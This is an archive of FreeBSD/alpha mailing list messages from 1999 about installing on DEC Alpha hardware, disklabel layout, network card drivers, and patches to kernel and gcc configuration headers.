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On Sat, 27 Mar 1999, Jordan K. Hubbard wrote:

> ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/alpha/...
> 
> Come and get 'em!

Thanks!

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Thanks to the helpful response from everyone.  I was successful with an FTP
install, although the process was a little odd.

I had to boot with a serial console using the 4.0 snapshot (I used the
latest one).  If I boot with the "graphics" (real) console, 4.0 seems to not
take any keyboard input when it gets to the terminal type prompt.

By booting with the serial console, I was able to use something with VT100
emulation as well which solved my terminal oddnesses and let me get
installed.  In general, the syscons driver still doesn't seem quite right.
The Multia comes up with a 48 line by 132 column display.  Even with sttying
the right size, the terminal emulation in even VI seems off, VI always has
the cursor off by one and the screen doesn't update right except w/CTRL-L.

Haven't gotten around to getting X and everything else configured, but it's
up.

Although now I'm intrigued...I'm labeled with a FreeBSD label.  The Alpha
Kernel seems to support FDISK labels just fine, just not the SRM console
load code.  So I'm curious if the the 2nd or 3rd level boot block could be
put on a FAT partition on an FDISKed disk (ala MILO and Linux) and FreeBSD
booted that way using ARC instead of SRM.  This would allow multi-booting
with Linux or NT similar to a PC, it would also allow a hard disk based
media install as well.  Hmmm.
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hi all.

        I am a newby to cvsup anyway's but i was wondering what one had to
do to cvsup up to 3.1 stable for the alpha.

would anyone be so kind as to provide me with some help????

Talbot NEIL


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On Sun, 28 Mar 1999, Mark Gooderum wrote:

> Thanks to the helpful response from everyone.  I was successful with an FTP
> install, although the process was a little odd.
> 
> I had to boot with a serial console using the 4.0 snapshot (I used the
> latest one).  If I boot with the "graphics" (real) console, 4.0 seems to not
> take any keyboard input when it gets to the terminal type prompt.
> 
> By booting with the serial console, I was able to use something with VT100
> emulation as well which solved my terminal oddnesses and let me get
> installed.  In general, the syscons driver still doesn't seem quite right.
> The Multia comes up with a 48 line by 132 column display.  Even with sttying
> the right size, the terminal emulation in even VI seems off, VI always has
> the cursor off by one and the screen doesn't update right except w/CTRL-L.
> 
> Haven't gotten around to getting X and everything else configured, but it's
> up.
> 
> Although now I'm intrigued...I'm labeled with a FreeBSD label.  The Alpha
> Kernel seems to support FDISK labels just fine, just not the SRM console
> load code.  So I'm curious if the the 2nd or 3rd level boot block could be
> put on a FAT partition on an FDISKed disk (ala MILO and Linux) and FreeBSD
> booted that way using ARC instead of SRM.  This would allow multi-booting
> with Linux or NT similar to a PC, it would also allow a hard disk based
> media install as well.  Hmmm.

Unfortunately, the FDISK and SRM data structures overlap in the first disk
block.  It isn't possible to make a disk bootable with SRM without
corrupting the FDISK partition table.

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On alpha, We always allocate a fixed number of nmbclusters 
independently of maxusers.
The following patch(?) should fix the problem.
256 must be too small for most cases :-)

/\ Hidetoshi Shimokawa
\/  simokawa@sat.t.u-tokyo.ac.jp
PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp

Index: param.h
===================================================================
RCS file: /pub/FreeBSD-CVS/src/sys/alpha/include/param.h,v
retrieving revision 1.9
diff -u -r1.9 param.h
--- param.h	1999/03/01 06:10:16	1.9
+++ param.h	1999/03/29 12:44:11
@@ -128,13 +128,6 @@
 #endif	/* MCLSHIFT */
 #define	MCLBYTES	(1 << MCLSHIFT)	/* size of a m_buf cluster */
 #define	MCLOFSET	(MCLBYTES - 1)
-#ifndef NMBCLUSTERS
-#ifdef GATEWAY
-#define	NMBCLUSTERS	512		/* map size, max cluster allocation */
-#else
-#define	NMBCLUSTERS	256		/* map size, max cluster allocation */
-#endif
-#endif
 
 /*
  * Size of kernel malloc arena in CLBYTES-sized logical pages


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In article <Pine.BSF.3.96.990329131448.4958A-100000@brain.sma.uq.edu.au>,
Talbot Neil  <talbotn@sportsmedicine.com.au> wrote:
> 
>         I am a newby to cvsup anyway's but i was wondering what one had to
> do to cvsup up to 3.1 stable for the alpha.

You don't have to do anything special for the Alpha, because
the source code is the same for all architectures.  Just
read the tutorial in the FreeBSD Handbook, the FAQ at
<http://www.polstra.com/projects/freeware/CVSup/>, the examples in
"/usr/share/examples/cvsup", and the CVSup man pages.

John
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ok guys,

        I am not a newby but i can't seem to be able to get cvsup to work on 
FreeBSD/alpha 3.1-RELEASE so that i can cvsup up to stable.

Would anyone be knod enough to give me a step-by-step walk through ?????

Thanks in advance


Talbot NEIL 
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<html><div>ok guys,</div>
<br>
<div><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I am
not a newby but i can't seem to be able to get cvsup to work on </div>
<div>FreeBSD/alpha 3.1-RELEASE so that i can cvsup up to stable.</div>
<br>
<div>Would anyone be knod enough to give me a step-by-step walk through
?????</div>
<br>
<div>Thanks in advance</div>
<br>
<br>
Talbot NEIL
<br>

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does this mean anything to anyone ????

pid 30947 (newaliases): unaligned access: va=0x16054d4b9 pc=0x12002498c
ra=0x12002493c op=ldl

Talbot NEIL 
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<html><div>does this mean anything to anyone ????</div>
<br>
<div>pid 30947 (newaliases): unaligned access: va=0x16054d4b9
pc=0x12002498c ra=0x12002493c op=ldl</div>
<br>
Talbot NEIL
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From owner-freebsd-alpha  Wed Mar 31 12:37:58 1999
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On Fri, 26 Mar 1999, Talbot NEIL wrote:

> 
> does this mean anything to anyone ????
> 
> pid 30947 (newaliases): unaligned access: va=0x16054d4b9 pc=0x12002498c
> ra=0x12002493c op=ldl

Its probable harmless. It means that the program attempted to read from an
unaligned address and the kernel was forced to emulate the instruction.
The program will get the right data, it just takes a bit longer...

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As of kernel 4.0-19990326, this system (type 34) is not supported.
Any known reason, or just a new system type number.

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On Wed, 31 Mar 1999, Simon Shapiro wrote:

> 
> As of kernel 4.0-19990326, this system (type 34) is not supported.
> Any known reason, or just a new system type number.
> 
> --
> 
> Sincerely,
> 
> Simon Shapiro
> Research Fellow                               ShapiroS@MindSpring.com
> MindSpring Enterprises, Inc.                   404.815.0770 ext. 2057
> 
> 
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Simon Shapiro writes:
 > 
 > As of kernel 4.0-19990326, this system (type 34) is not supported.
 > Any known reason, or just a new system type number.
 > 

A new system number.  Its closely related to the XP1000 (Monet)
workstation.

In fact, we just received some monets today & I've just started in on
getting FreeBSD/alpha running on these.  I'm going to have to hack
around some limitations in the bus code (no support yet for multiple
hoses), and I'm rather swamped with other things, so it may take
longer than I'd like to get this done.  At any rate, once the xp1000
works, I might appreciate it if you could test-boot some kernels for
me on your DS20.

Cheers,

Drew

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On Wed, 31 Mar 1999, Simon Shapiro wrote:

> 
> As of kernel 4.0-19990326, this system (type 34) is not supported.
> Any known reason, or just a new system type number.

Andrew Gallatin is working on XP1000 support which will be easy to adapt
to the DS20 if either of us gets access to a machine.

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Is it my imagination or lack of attention, or a problem?

It appears that if I disklabel a drive on a PC, the label will not be
visible on an Alpha?

Why do that?  Linux fdisk (on the alpha) is a bit broken, so I thought
to disklabel on a PC and move the disks.  No cigar.

So, either this is the case, or the two are so incompatible that they
write/read totally different areas on the disk.

BTW, Linux thinks that there is partition 4 on the disks.  fdisk on the
FreeBSD-i386 side confirms that.

Yes, I followed the handbook guide and wiped out the first megabyte of
/dev/da16, then disklable -Br, etc.  No cigar.




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On Fri, 2 Apr 1999, Simon Shapiro wrote:

> Is it my imagination or lack of attention, or a problem?
> 
> It appears that if I disklabel a drive on a PC, the label will not be
> visible on an Alpha?
> 
> Why do that?  Linux fdisk (on the alpha) is a bit broken, so I thought
> to disklabel on a PC and move the disks.  No cigar.
> 
> So, either this is the case, or the two are so incompatible that they
> write/read totally different areas on the disk.
> 
> BTW, Linux thinks that there is partition 4 on the disks.  fdisk on the
> FreeBSD-i386 side confirms that.
> 
> Yes, I followed the handbook guide and wiped out the first megabyte of
> /dev/da16, then disklable -Br, etc.  No cigar.

The disklabel lives in different places on the two architectures. For
i386, it is at block 1, offset 0 and for alpha it is at block 0, offset
64. This is mainly for compatibility with OSF1 and NetBSD but it makes
some kind of sense since the first block isn't cluttered up with
executable code on the alpha.

To add to the fun, disklabel -Br does completely different things on the
alpha (like installing alpha executables instead of i386 ones...).

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On Sat, 03 Apr 1999, Doug Rabson wrote:
>On Fri, 2 Apr 1999, Simon Shapiro wrote:
>
>> Is it my imagination or lack of attention, or a problem?
>> 
>> It appears that if I disklabel a drive on a PC, the label will not be
>> visible on an Alpha?
>> 
>> Why do that?  Linux fdisk (on the alpha) is a bit broken, so I thought
>> to disklabel on a PC and move the disks.  No cigar.
>> 
>> So, either this is the case, or the two are so incompatible that they
>> write/read totally different areas on the disk.
>> 
>> BTW, Linux thinks that there is partition 4 on the disks.  fdisk on the
>> FreeBSD-i386 side confirms that.
>> 
>> Yes, I followed the handbook guide and wiped out the first megabyte of
>> /dev/da16, then disklable -Br, etc.  No cigar.
>
>The disklabel lives in different places on the two architectures. For
>i386, it is at block 1, offset 0 and for alpha it is at block 0, offset
>64. This is mainly for compatibility with OSF1 and NetBSD but it makes
>some kind of sense since the first block isn't cluttered up with
>executable code on the alpha.
>
>To add to the fun, disklabel -Br does completely different things on the
>alpha (like installing alpha executables instead of i386 ones...).

Figured as much :-)

Question still remains how to make a diskpack compatible between the
two?

There are several uses to this, clustering being not the least of them.

Sincerely,

Simon Shapiro
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On Sat, 3 Apr 1999, Simon Shapiro wrote:

> On Sat, 03 Apr 1999, Doug Rabson wrote:
> >On Fri, 2 Apr 1999, Simon Shapiro wrote:
> >
> >> Is it my imagination or lack of attention, or a problem?
> >> 
> >> It appears that if I disklabel a drive on a PC, the label will not be
> >> visible on an Alpha?
> >> 
> >> Why do that?  Linux fdisk (on the alpha) is a bit broken, so I thought
> >> to disklabel on a PC and move the disks.  No cigar.
> >> 
> >> So, either this is the case, or the two are so incompatible that they
> >> write/read totally different areas on the disk.
> >> 
> >> BTW, Linux thinks that there is partition 4 on the disks.  fdisk on the
> >> FreeBSD-i386 side confirms that.
> >> 
> >> Yes, I followed the handbook guide and wiped out the first megabyte of
> >> /dev/da16, then disklable -Br, etc.  No cigar.
> >
> >The disklabel lives in different places on the two architectures. For
> >i386, it is at block 1, offset 0 and for alpha it is at block 0, offset
> >64. This is mainly for compatibility with OSF1 and NetBSD but it makes
> >some kind of sense since the first block isn't cluttered up with
> >executable code on the alpha.
> >
> >To add to the fun, disklabel -Br does completely different things on the
> >alpha (like installing alpha executables instead of i386 ones...).
> 
> Figured as much :-)
> 
> Question still remains how to make a diskpack compatible between the
> two?
> 
> There are several uses to this, clustering being not the least of them.

The only way I can think of is to put two labels on the disk, one in block
zero offset 64 and one in block one, offset zero. The disk would have to
be 'dedicated', i.e. no fdisk partition table.

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I should mention that ``make world'' on the alpha should be considered
totally broken until an Alpha developer can tweak the
contrib/egcs/gcc/config/freebsd.h and
contrib/egcs/gcc/config/alpha/freebsd*.h
bits.  I would really like to see
contrib/egcs/gcc/config/alpha/freebsd*.h combined into one file.

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On Sun, 4 Apr 1999, David O'Brien wrote:

> I should mention that ``make world'' on the alpha should be considered
> totally broken until an Alpha developer can tweak the
> contrib/egcs/gcc/config/freebsd.h and
> contrib/egcs/gcc/config/alpha/freebsd*.h
> bits.  I would really like to see
> contrib/egcs/gcc/config/alpha/freebsd*.h combined into one file.

I'll try to take a look tomorrow but I have visitors coming so I can't
promise anything.

--
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Nonlinear Systems Ltd.			Phone: +44 181 442 9037




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On 04-Apr-99 Doug Rabson wrote:
> On Sat, 3 Apr 1999, Simon Shapiro wrote:
> 
>> On Sat, 03 Apr 1999, Doug Rabson wrote:
>> >On Fri, 2 Apr 1999, Simon Shapiro wrote:
>> >
>> >> Is it my imagination or lack of attention, or a problem?
>> >> 
>> >> It appears that if I disklabel a drive on a PC, the label will
>> >> not be
>> >> visible on an Alpha?
>> >> 
>> >> Why do that?  Linux fdisk (on the alpha) is a bit broken, so I
>> >> thought
>> >> to disklabel on a PC and move the disks.  No cigar.
>> >> 
>> >> So, either this is the case, or the two are so incompatible that
>> >> they
>> >> write/read totally different areas on the disk.
>> >> 
>> >> BTW, Linux thinks that there is partition 4 on the disks.  fdisk
>> >> on the
>> >> FreeBSD-i386 side confirms that.
>> >> 
>> >> Yes, I followed the handbook guide and wiped out the first
>> >> megabyte of
>> >> /dev/da16, then disklable -Br, etc.  No cigar.
>> >
>> >The disklabel lives in different places on the two architectures.
>> >For
>> >i386, it is at block 1, offset 0 and for alpha it is at block 0,
>> >offset
>> >64. This is mainly for compatibility with OSF1 and NetBSD but it
>> >makes
>> >some kind of sense since the first block isn't cluttered up with
>> >executable code on the alpha.
>> >
>> >To add to the fun, disklabel -Br does completely different things
>> >on the
>> >alpha (like installing alpha executables instead of i386 ones...).
>> 
>> Figured as much :-)
>> 
>> Question still remains how to make a diskpack compatible between the
>> two?
>> 
>> There are several uses to this, clustering being not the least of
>> them.
> 
> The only way I can think of is to put two labels on the disk, one in
> block
> zero offset 64 and one in block one, offset zero. The disk would have
> to
> be 'dedicated', i.e. no fdisk partition table.

That will be fine.  As long as the tools and kernels all agree.
As it stands now, one cannot move any removable seekable media (other
than floppy and serial devices) between these machines.

I would go for fdisk partitions everywhere (has the advantage of more
than 6-7 partitions per 29GB drive), but DU does not agree with that.
> 
> --
> Doug Rabson                           Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.                        Phone: +44 181 442 9037
> 
> 



Sincerely Yours,                 Shimon@Simon-Shapiro.ORG
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Simon Shapiro

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On Tue, 6 Apr 1999, Simon Shapiro wrote:

> > The only way I can think of is to put two labels on the disk, one in
> > block
> > zero offset 64 and one in block one, offset zero. The disk would have
> > to
> > be 'dedicated', i.e. no fdisk partition table.
> 
> That will be fine.  As long as the tools and kernels all agree.
> As it stands now, one cannot move any removable seekable media (other
> than floppy and serial devices) between these machines.
> 
> I would go for fdisk partitions everywhere (has the advantage of more
> than 6-7 partitions per 29GB drive), but DU does not agree with that.

If I had the time, I would pick up the AlphaBIOS loader again. That
requires fdisk partitions to boot from and things could be made to agree
with i386 pretty easily.

--
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I've recently laid hands on a DEC Alpha 433a personal workstation, onto
which I am now trying to install FreeBSD.  So far I've managed to
install from CD-ROM, but I'm experiencing problems with the integrated
NIC (a 61143 based nic).

Up until yesterday it worked on the network, but with awful throughput. 
Today the NIC won't come up.  My hubs indicate that a link is up,
FreeBSD detects the NIC but it seems dead to the world and the kernel
complains of there being no link.

What's worrying me is that the card seems to have died under NT too :(

Cables etc. seem fine.

Has anyone any experience of this behaviour?  Is it normal or is my NIC
blown?

Regards,

Tony.


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From owner-freebsd-alpha  Tue Apr  6 14:42:37 1999
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Tony Byrne wrote...
> I've recently laid hands on a DEC Alpha 433a personal workstation, onto
> which I am now trying to install FreeBSD.  So far I've managed to
> install from CD-ROM, but I'm experiencing problems with the integrated
> NIC (a 61143 based nic).
> 
> Up until yesterday it worked on the network, but with awful throughput. 
> Today the NIC won't come up.  My hubs indicate that a link is up,
> FreeBSD detects the NIC but it seems dead to the world and the kernel
> complains of there being no link.
> 
> What's worrying me is that the card seems to have died under NT too :(
> 
> Cables etc. seem fine.
> 
> Has anyone any experience of this behaviour?  Is it normal or is my NIC
> blown?

IIRC, when I installed FreeBSD on a 433au last year, I had to hard-code
some variable in the SRM to get it to do 100BaseT, since it wouldn't
autodetect the fact that it's on a 100BaseT network.

Also, a co-worker has had an awful time getting 21143 chips to do full
duplex 100BaseTX.  He believes that the 21143 hardware may be broken for
100BaseTX full duplex.  (although he did say that the Linux DEC driver
tweaks some undocumented registers and says something like "needs this to
work" without any other comment)  I wonder if the Linux DEC driver works
okay with the 21143 in full duplex mode.

How are you booting NT and FreeBSD off the same machine?  I know FreeBSD
only really works with SRM at the moment, and I thought that NT had to have
the ARC console to boot...

Ken
-- 
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From owner-freebsd-alpha  Wed Apr  7  1: 2: 2 1999
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Hello,

I have a small alpha running the 4.0-19990204 snapshot.
Since early this morning, I get these :

ncr0:0: ERROR (a0:0) (0-0-0) (8/13) @ (script 2c:80080000).
ncr0: script cmd = 80080000
ncr0: regdump: da 00 00 13 47 08 00 1f 35 08 80 00 80 00 0f 02.
ncr0: restart (fatal error).

And others similar. About 10 per hour. The machine is a UDB, with an
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Is this a FreeBSD bug, or has the disk begun to decay and will
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	--Thomas Pornin


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Can anyone point a new 3000 owner in the right direction?  Yes, it's the
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Hope to hear some good news...

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"Kenneth D. Merry" wrote:
> 
> Tony Byrne wrote...
> > I've recently laid hands on a DEC Alpha 433a personal workstation, onto
> > which I am now trying to install FreeBSD.  So far I've managed to
> > install from CD-ROM, but I'm experiencing problems with the integrated
> > NIC (a 61143 based nic).
> >
> > Up until yesterday it worked on the network, but with awful throughput.
> > Today the NIC won't come up.  My hubs indicate that a link is up,
> > FreeBSD detects the NIC but it seems dead to the world and the kernel
> > complains of there being no link.
> >
> > What's worrying me is that the card seems to have died under NT too :(
> >
> > Cables etc. seem fine.
> >
> > Has anyone any experience of this behaviour?  Is it normal or is my NIC
> > blown?
> 
> IIRC, when I installed FreeBSD on a 433au last year, I had to hard-code
> some variable in the SRM to get it to do 100BaseT, since it wouldn't
> autodetect the fact that it's on a 100BaseT network.
> 
> Also, a co-worker has had an awful time getting 21143 chips to do full
> duplex 100BaseTX.  He believes that the 21143 hardware may be broken for
> 100BaseTX full duplex.  (although he did say that the Linux DEC driver
> tweaks some undocumented registers and says something like "needs this to
> work" without any other comment)  I wonder if the Linux DEC driver works
> okay with the 21143 in full duplex mode.

On a related subject...

Assuming that the integrated NIC just won't cut the mustard or is dead
beef, what off the shelf PCI / ISA NICs are likely to work in a Alpha
Personal Workstation 433a, under FreeBSD (or NT for that matter)? 
Finding documentation for this short of thing is tricky.  Also does
anyone know how resources such as IRQs and IO addresses are managed by
these machines?  E.g, if I pop in a plain ol' NE2000 compatible ISA NIC
with known IRQ and IO settings, how does the alpha know to reserve them?

Sorry if my questions are slightly off topic, but I was lucky enough to
lay my hands on a 433a at the weekend and it's early days on the
learning curve.

Regards,

Tony.


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Hi.

The only problem I've had with this board is flashing from SRM back to
AlphaBIOS.  When I try to do this, it comes up with a CMOS parity error
which requires the battery to be removed from the motherboard, and then
the AlphaBIOS flashing back using the emergency mode thing.  Other than
that it's been fine, although I'm still to get DEC Unix working with it -
but I think this is a problem with my SCSI card.

Scot.

On Fri, 7 Apr 2000, Darius wrote:

> Hi there,
> 
>    I was checking out some of Digitals OEM boards and was considering a
> PC164 with a 533 21164PC Chip.  Are there any downsides to this setup when
> running linux?
> 
> Thanks in advance,
> 
> Darius
> 



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On Wed, Apr 07, 1999 at 09:59:59AM +0200, Thomas Pornin wrote:
> Is this a FreeBSD bug, or has the disk begun to decay and will
> ultimately die ?

Hum. The disk finally stopped responding:

ncr0: timeout nccb=0xfffffe0000163800 (skip)

Power-off. Power-on. I get many of these:

ESR: 6FF4DAE900000013  EAR: 6FF4DAE9417546C8
STAT0:  0000000200000002  STAT1: 0000007100000071
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\
Processor correctable error through vector 00000063.

(similar problem if I try to boot Linux on another drive)

Is there any hope of resurrecting the box ?

	--Thomas


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Patrick Guerin writes:
 > Can anyone point a new 3000 owner in the right direction?  Yes, it's the
 > one from onsale.com and looks like it was meant to be and NT machine....
 > 
 > Hope to hear some good news...
 > 
 > Thanks, pat

Do you mean a DEC Server 3305?  Or do you mean a real (5+ year old)
DEC 3000/xxx turbochannel machine?  Since you say it was meant to be
an NT machine, I assume you mean the former.  I'm not familiar with
this machine, but from the picture & description at OnSale, it looks
very much like a Miata (aka Personal Workstation).  If its really a
miata under the skin, then FreeBSD should work.

First, you should attempt to switch into the SRM console code if
you're not already running the SRM console (if you are, you'll see a
series of hex numbers followed by a >>> prompt when the machine boots
up).  These instructions are from memory, but should help some

a) select CMOS SETUP menu
b) select ADVANCED (probably w/F6??)
c) tab down to CONSOLE SELECTION
d) select DIGITAL (Tru64?) UNIX Console (SRM)
e) save selections (press F10 key twice, followed by enter ???)
f) power off system, wait 30 seconds, power it on.

Once you're at the >>> prompt, download a freebsd/alpha snapshot &
boot it (ftp.freebsd.org:/pub/FreeBSD/snapshots/alpha is a place to
start).  If it works, let us know what the kernel claims the machine
is.  If it doesn't, the machine will halt, & tell you that it's not
supported.  If that happens, please pass that message along as well.
Especially the part about the systype.

cheers,

Drew
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Tony Byrne writes:
 > On a related subject...
 > 
 > Assuming that the integrated NIC just won't cut the mustard or is dead
 > beef, what off the shelf PCI / ISA NICs are likely to work in a Alpha
 > Personal Workstation 433a, under FreeBSD (or NT for that matter)? 

Have a look at the GENERIC alpha kernel config file.  In addition to
de0 and fxp0, Bill Paul just ported a number of his drivers to
FreeBSD/alpha.  I'm not sure how many of these have made it into
installed kernels in snapshots though:

device de0
device fxp0
device le0
device mx0
device pn0
device tl0
device xl0

Beware the le0 is the on-board lance adaptor in turbochannel machines.

And related documentation:

# The `de' device provides support for the Digital Equipment DC21040
# self-contained Ethernet adapter.
#
# The `fxp' device provides support for the Intel EtherExpress Pro/100B
# PCI Fast Ethernet adapters.
#
# The `mx' device provides support for various fast ethernet adapters
# based on the Macronix 98713, 987615 ans 98725 series chips.
#
# The `pn' device provides support for various fast ethernet adapters
# based on the Lite-On 82c168 and 82c169 PNIC chips, including the
# LinkSys LNE100TX, the NetGear FA310TX rev. D1 and the Matrox
# FastNIC 10/100.
#
# The 'rl' device provides support for PCI fast ethernet adapters based
# on the RealTek 8129/8139 chipset. Note that the RealTek driver defaults
# to useing programmed I/O to do register accesses because memory mapped
# mode seems to cause severe lockups on SMP hardware. This driver also
# supports the Accton EN1207D `Cheetah' adapter, which uses a chip called
# the MPX 5030/5038, which is either a RealTek in disguise or a RealTek
# workalike.
#
# The 'tl' device provides support for the Texas Instruments TNETE100
# series 'ThunderLAN' cards and integrated ethernet controllers. This
# includes several Compaq Netelligent 10/100 cards and the built-in
# ethernet controllers in several Compaq Prosignia, Proliant and
# Deskpro systems. It also supports several Olicom 10Mbps and 10/100
# boards.
#


 > Finding documentation for this short of thing is tricky.  Also does
 > anyone know how resources such as IRQs and IO addresses are managed by
 > these machines?  E.g, if I pop in a plain ol' NE2000 compatible ISA NIC
 > with known IRQ and IO settings, how does the alpha know to reserve them?

You use isacfg from the SRM console.  However, no ISA nics are
supported in FreeBSD alpha just yet.

 > Sorry if my questions are slightly off topic, but I was lucky enough to
 > lay my hands on a 433a at the weekend and it's early days on the
 > learning curve.

Its not a bad question -- the documentation for FreeBSD/alpha is
nearly non-existant right now.

Cheers,

Drew


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Hi,

I noticed that the name of default entry point is inconsistent on
alpha. In /usr/src/lib/csu/alpha/crt1.c, it is "_start" and
in /usr/src/contrib/binutils/ld/emulparams/elf64alpha.sh, it is
"__start". 

Becasuse it is "_start" on i386, I think we should remove
"ENTRY=__start" from elf64alpha.sh. Any comments?

P.S.
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I will submit the fix for alpha tomorrow.

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> On Wed, Apr 07, 1999 at 09:59:59AM +0200, Thomas Pornin wrote:
> > Is this a FreeBSD bug, or has the disk begun to decay and will
> > ultimately die ?
> 
> Hum. The disk finally stopped responding:
> 
> ncr0: timeout nccb=0xfffffe0000163800 (skip)
> 
> Power-off. Power-on. I get many of these:
> 
> ESR: 6FF4DAE900000013  EAR: 6FF4DAE9417546C8
> STAT0:  0000000200000002  STAT1: 0000007100000071
> BC_TAG:  0000000000000000
> \
> Processor correctable error through vector 00000063.
> 
> (similar problem if I try to boot Linux on another drive)
> 
> Is there any hope of resurrecting the box ?

Probably overheated.  Move the disk out and/or improve your ventilation.

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Can anybody please share the part number of the Alpha 164LX board that is
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Hi,

I have finally finished make world on alpha with egcs.
Here is a fix.

- add missing alpha/xm-freebsd.h

- combine alpha/freebsd.h and alpha/freebsd-elf.h, remove freebsd-elf.h
- add missing bits(which are in config/freebsd.h in port) to
  alpha/freebsd.h
- fix LINK_SPEC and sync it with i386

- fix _G_config.h to use va_list as _G_va_list.
	va_list is not just "char *" on alpha.

--- /usr/src/contrib/egcs/gcc/config/alpha/xm-freebsd.h ---
/* Configuration for GCC for DEC ALPHA running FreeBSD as host.  */

#include <alpha/xm-alpha.h>
#include <xm-freebsd.h>
------

--- patch 1 ---
Index: cc_tools/Makefile
===================================================================
RCS file: /pub/FreeBSD-CVS/src/gnu/usr.bin/cc/cc_tools/Makefile,v
retrieving revision 1.18
diff -u -r1.18 Makefile
--- Makefile	1999/04/05 10:18:50	1.18
+++ Makefile	1999/04/07 04:27:47
@@ -157,8 +157,6 @@
 	echo '#include "${MACHINE_ARCH}/freebsd.h"' >> ${.TARGET}
 .if ${MACHINE_ARCH} == "i386"
 	echo '#include "${MACHINE_ARCH}/perform.h"' >> ${.TARGET}
-.elif ${MACHINE_ARCH} == "alpha"
-	echo '#include "${MACHINE_ARCH}/freebsd-elf.h"' >> ${.TARGET}
 .endif
 
 multilib.h: genmultilib
---

--- patch 2 --
Index: freebsd.h
===================================================================
RCS file: /pub/FreeBSD-CVS/src/contrib/egcs/gcc/config/alpha/freebsd.h,v
retrieving revision 1.2
diff -u -r1.2 freebsd.h
--- freebsd.h	1999/04/06 13:09:24	1.2
+++ freebsd.h	1999/04/07 14:29:14
@@ -46,14 +46,19 @@
    XXX FreeBSD, by convention, shouldn't do __alpha, but lots of applications
    expect it because that's what OSF/1 does. */
 
+#undef TARGET_VERSION
+#define TARGET_VERSION fprintf (stderr, " (FreeBSD/alpha ELF)");
+
 #undef TARGET_DEFAULT
 #define TARGET_DEFAULT (MASK_FP | MASK_FPREGS | MASK_GAS)
 
 #undef CPP_PREDEFINES
 #define CPP_PREDEFINES "\
--D__alpha__ -D__alpha -Acpu(alpha) -Amachine(alpha) " \
-CPP_FBSD_PREDEFINES \
-SUB_CPP_PREDEFINES
+-D__alpha__ -D__alpha -Acpu(alpha) -Amachine(alpha) -D__ELF__" \
+CPP_FBSD_PREDEFINES
+
+#undef CPP_SPEC
+#define CPP_SPEC "%{posix:-D_POSIX_SOURCE}"
 
 /* Make gcc agree with <machine/ansi.h> */
 
@@ -376,7 +381,7 @@
 #undef SELECT_RTX_SECTION
 #define SELECT_RTX_SECTION(MODE,RTX) const_section()
 
-/* Define the strings used for the special svr4 .type and .size directives.
+/* Define the strings used for the .type, .size and .set directives.
    These strings generally do not vary from one system running svr4 to
    another, but if a given system (e.g. m88k running svr) needs to use
    different pseudo-op names for these, they may be overridden in the
@@ -384,6 +389,7 @@
 
 #define TYPE_ASM_OP	".type"
 #define SIZE_ASM_OP	".size"
+#define SET_ASM_OP	".set"
 
 /* This is how we tell the assembler that two symbols have the same value.  */
 
@@ -441,3 +447,75 @@
 
 #undef PREFERRED_DEBUGGING_TYPE
 #define PREFERRED_DEBUGGING_TYPE DBX_DEBUG
+
+#undef LINK_SPEC
+#define LINK_SPEC "-m elf64alpha 				\
+  %{p:%e`-p' not supported; use `-pg' and gprof(1)}		\
+  %{Wl,*:%*}							\
+  %{assert*} %{R*} %{rpath*} %{defsym*}				\
+  %{shared:-Bshareable %{h*} %{soname*}}			\
+  %{symbolic:-Bsymbolic}					\
+  %{!shared:							\
+    %{!static:							\
+      %{rdynamic:-export-dynamic}				\
+      %{!dynamic-linker:-dynamic-linker /usr/libexec/ld-elf.so.1}} \
+    %{static:-Bstatic}}"
+
+#undef	STARTFILE_SPEC
+#define STARTFILE_SPEC \
+  "%{!shared: %{pg:gcrt1.o%s} %{!pg:%{p:gcrt1.o%s} %{!p:crt1.o%s}}} \
+     %{!shared:crtbegin.o%s} %{shared:crtbeginS.o%s}"
+
+/* Provide a ENDFILE_SPEC appropriate for ELF.  Here we tack on the
+   magical crtend.o file which provides part of the support for
+   getting C++ file-scope static object constructed before entering
+   `main', followed by a normal ELF "finalizer" file, `crtn.o'.  */
+
+#undef	ENDFILE_SPEC
+#define ENDFILE_SPEC \
+  "%{!shared:crtend.o%s} %{shared:crtendS.o%s}"
+
+/* Provide a LIB_SPEC appropriate for FreeBSD.  Just select the appropriate
+   libc, depending on whether we're doing profiling.  */
+
+#undef LIB_SPEC
+#define LIB_SPEC "%{!shared:%{!pg:%{!pthread:%{!kthread:-lc}%{kthread:-lpthread-lc}}%{pthread:-lc_r}}%{pg:%{!pthread:%{!kthread:-lc_p}%{kthread:-lpthread_p -lc_p}}%{pthread:-lc_r_p}}}"
+
+/* Implicit library calls should use memcpy, not bcopy, etc.  */
+
+#define TARGET_MEM_FUNCTIONS
+
+/* Handle #pragma weak and #pragma pack.  */
+
+#define HANDLE_SYSV_PRAGMA
+
+/*
+ * Some imports from svr4.h in support of shared libraries.
+ * Currently, we need the DECLARE_OBJECT_SIZE stuff.
+ */
+
+/* This is how we tell the assembler that a symbol is weak.  */
+
+#undef ASM_WEAKEN_LABEL
+#define ASM_WEAKEN_LABEL(FILE,NAME) \
+  do { fputs ("\t.globl\t", FILE); assemble_name (FILE, NAME); \
+       fputc ('\n', FILE); \
+       fputs ("\t.weak\t", FILE); assemble_name (FILE, NAME); \
+       fputc ('\n', FILE); } while (0)
+
+/* The following macro defines the format used to output the second
+   operand of the .type assembler directive.  Different svr4 assemblers
+   expect various different forms for this operand.  The one given here
+   is just a default.  You may need to override it in your machine-
+   specific tm.h file (depending upon the particulars of your assembler).  */
+
+#undef TYPE_OPERAND_FMT
+#define TYPE_OPERAND_FMT	"@%s"
+
+/* Write the extra assembler code needed to declare a function's result.
+   Most svr4 assemblers don't require any special declaration of the
+   result value, but there are exceptions.  */
+
+#ifndef ASM_DECLARE_RESULT
+#define ASM_DECLARE_RESULT(FILE, RESULT)
+#endif

---

--- patch 3 ---
Index: _G_config.h
===================================================================
RCS file: /pub/FreeBSD-CVS/src/gnu/lib/libstdc++/_G_config.h,v
retrieving revision 1.6
diff -u -r1.6 _G_config.h
--- _G_config.h	1999/04/07 07:48:23	1.6
+++ _G_config.h	1999/04/07 16:32:41
@@ -74,7 +74,8 @@
 #endif
 typedef int _G_ssize_t;
 typedef int /* default */ _G_wint_t;
-typedef char * _G_va_list;
+#define _G_NEED_STDARG_H
+#define _G_va_list va_list
 #define _G_signal_return_type void
 #define _G_sprintf_return_type int
 #define _G_HAVE_ATEXIT 1
---

